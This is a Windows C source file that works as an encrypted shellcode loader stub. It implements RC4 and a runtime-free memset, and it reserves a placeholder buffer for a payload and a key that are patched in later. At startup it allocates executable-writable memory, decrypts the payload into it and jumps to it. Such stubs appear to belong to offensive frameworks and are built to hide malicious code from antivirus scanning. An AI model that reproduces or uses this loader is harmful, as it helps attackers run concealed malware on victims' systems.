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#define WIN32_LEAN_AND_MEAN
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#include <Windows.h>
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#include <memory.h>
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#define N 256   // 2^8
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void swap(unsigned char* a, unsigned char* b) {
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    int tmp = *a;
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    *a = *b;
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    *b = tmp;
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}
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int KSA(char* key, unsigned char* S) {
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    size_t len = strlen(key);
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    int j = 0;
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    for (int i = 0; i < N; i++) {
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        S[i] = i;
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    }
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    for (int i = 0; i < N; i++) {
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        j = (j + S[i] + key[i % len]) % N;
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        swap(&S[i], &S[j]);
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    }
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    return 0;
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}
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int PRGA(unsigned char* S, char* plaintext, unsigned char* ciphertext, int plainTextSize) {
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    int i = 0;
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    int j = 0;
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    for (size_t n = 0, len = plainTextSize; n < len; n++) {
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        i = (i + 1) % N;
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        j = (j + S[i]) % N;
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        swap(&S[i], &S[j]);
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        int rnd = S[(S[i] + S[j]) % N];
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        ciphertext[n] = rnd ^ plaintext[n];
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    }
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    return 0;
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}
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int RC4(char* key, char* plaintext, unsigned char* ciphertext, int plainTextSize) {
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    unsigned char S[N];
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    KSA(key, S);
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    PRGA(S, plaintext, ciphertext, plainTextSize);
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    return 0;
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}
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#pragma function(memset)
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void* __cdecl  memset(_Out_writes_bytes_all_(count) void* dest, _In_ int c, _In_ size_t count) {
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    unsigned char* p = (unsigned char*)dest;
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    unsigned char x = c & 0xff;
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    while (count--)
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        *p++ = x;
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    return dest;
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}
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// The future embedded payload will have the following format:
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// TOTAL_SIZE (uint) + PAYLOAD + JUNK
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// These constants must match the constants defined in the module
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#define MAX_PAYLOAD_SIZE 8192
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#define MAX_JUNK_SIZE 1024
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#define MAX_KEY_SIZE 64
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static unsigned char payload[sizeof(unsigned int) + MAX_PAYLOAD_SIZE + MAX_JUNK_SIZE] = "PAYLOAD";
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static unsigned char key[MAX_KEY_SIZE + 1] = "ENCKEY"; // reserve one byte for the terminating NULL character
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int WINAPI WinMainCRTStartup(void)
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{
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    unsigned int* lpBufSize = (unsigned int*)payload;
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    char* payloadValue = (char*)(payload + sizeof(unsigned int));
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    LPVOID lpBuf = VirtualAlloc(NULL, *lpBufSize, MEM_COMMIT, 0x00000040);
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    memset(lpBuf, '\0', *lpBufSize);
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    RC4((char *)key, payloadValue, (unsigned char*)lpBuf, *lpBufSize);
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    void (*func)();
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    func = (void (*)()) lpBuf;
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    (void)(*func)();
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    return 0;
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}
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